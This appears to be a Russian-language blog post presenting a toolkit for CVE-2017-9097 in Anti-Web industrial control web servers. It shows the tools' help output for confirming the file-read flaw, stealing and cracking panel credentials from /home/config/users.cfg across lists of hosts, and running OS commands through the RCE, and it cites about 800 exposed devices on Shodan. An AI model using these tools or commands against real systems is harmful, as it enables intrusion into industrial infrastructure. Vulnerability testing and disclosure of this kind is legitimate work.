
Набор инструментов, использующих CVE-2017-9097 (+RCE)
Уязвимость была обнаружена в веб-приложениях, связанных с ICS/OT, работающих на серверах Anti-Web (до версии 3.8.7). Выявленные уязвимости затрагивают нескольких известных производителей в индустрии автоматизации промышленных процессов и телекоммуникаций. Для этих устройств уже существовали два похожих старых CVE (CVE-2010-4730 & CVE-2010-4733); после сообщения об уязвимости был получен третий CVE (2017-9097), и вендор немедленно выпустил патч. Сразу же последовали и другие.
Чтобы получить приблизительное представление о степени подверженности риску этих устройств, мы используем хосты, проиндексированные в Shodan; их чуть больше 800 потенциально уязвимых устройств.

Что касается LFI, который наша утилита пытается эксплуатировать, то сегодня у различных затронутых вендоров уже есть соответствующие официальные патчи, которые устраняют уязвимость. Поэтому попытка эксплуатации этой ошибки в некотором роде подтверждает скомпрометированность операторов и ответственных за эти технологии, отвечая на фундаментальный вопрос: «Были ли установлены соответствующие патчи?»
Первый инструмент пытается эксплуатировать и подтвердить наличие LFI. Второй инструмент попытается использовать LFI в своих целях, получая файл, в котором хранятся учётные данные, дающие доступ к веб-панели. Там имена пользователей хранятся в открытом виде, а пароли хешированы с помощью MD5, который инструмент попытается взломать. И, наконец, последний инструмент, который будет эксплуатировать RCE.
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
Просто подтверждает наличие LFI, запрашивая предопределённые пути и/или давая пользователю возможность указать собственный путь.
При желании можно передать (валидную) cookie сессии.
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

Этот инструмент стремится найти полезное применение LFI. Он нацелен на файл "/home/config/users.cfg", в котором хранятся учётные данные, позволяющие получить доступ к веб-приложению.

«Seek And Destroy» разбирает этот файл, определяет хеш, который соответствует конкатенации пароля и пользователя, переданной в хеш-функцию MD5. С помощью предварительно вычисленных списков постепенно будет выяснено, что скрывается за этими хешами.

Можно атаковать как отдельный хост, так и список хостов.
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
И мы подошли к, пожалуй, самому интересному — возможности выполнять команды операционной системы оборудования, на котором работает уязвимая система. *** «От HTTP к Shell» ***
.

#### продолжение следует... (завтра понедельник. xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....Подождите
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*недоступно)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
Рассматриваемые инструменты находятся в (AntiWeb_testing-Suite): https://github.com/ezelf/AntiWeb_testing-Suite/
Видео, объединяющее все три инструмента в их первой бета-версии: https://www.youtube.com/watch?v=HdkZA1DO08Y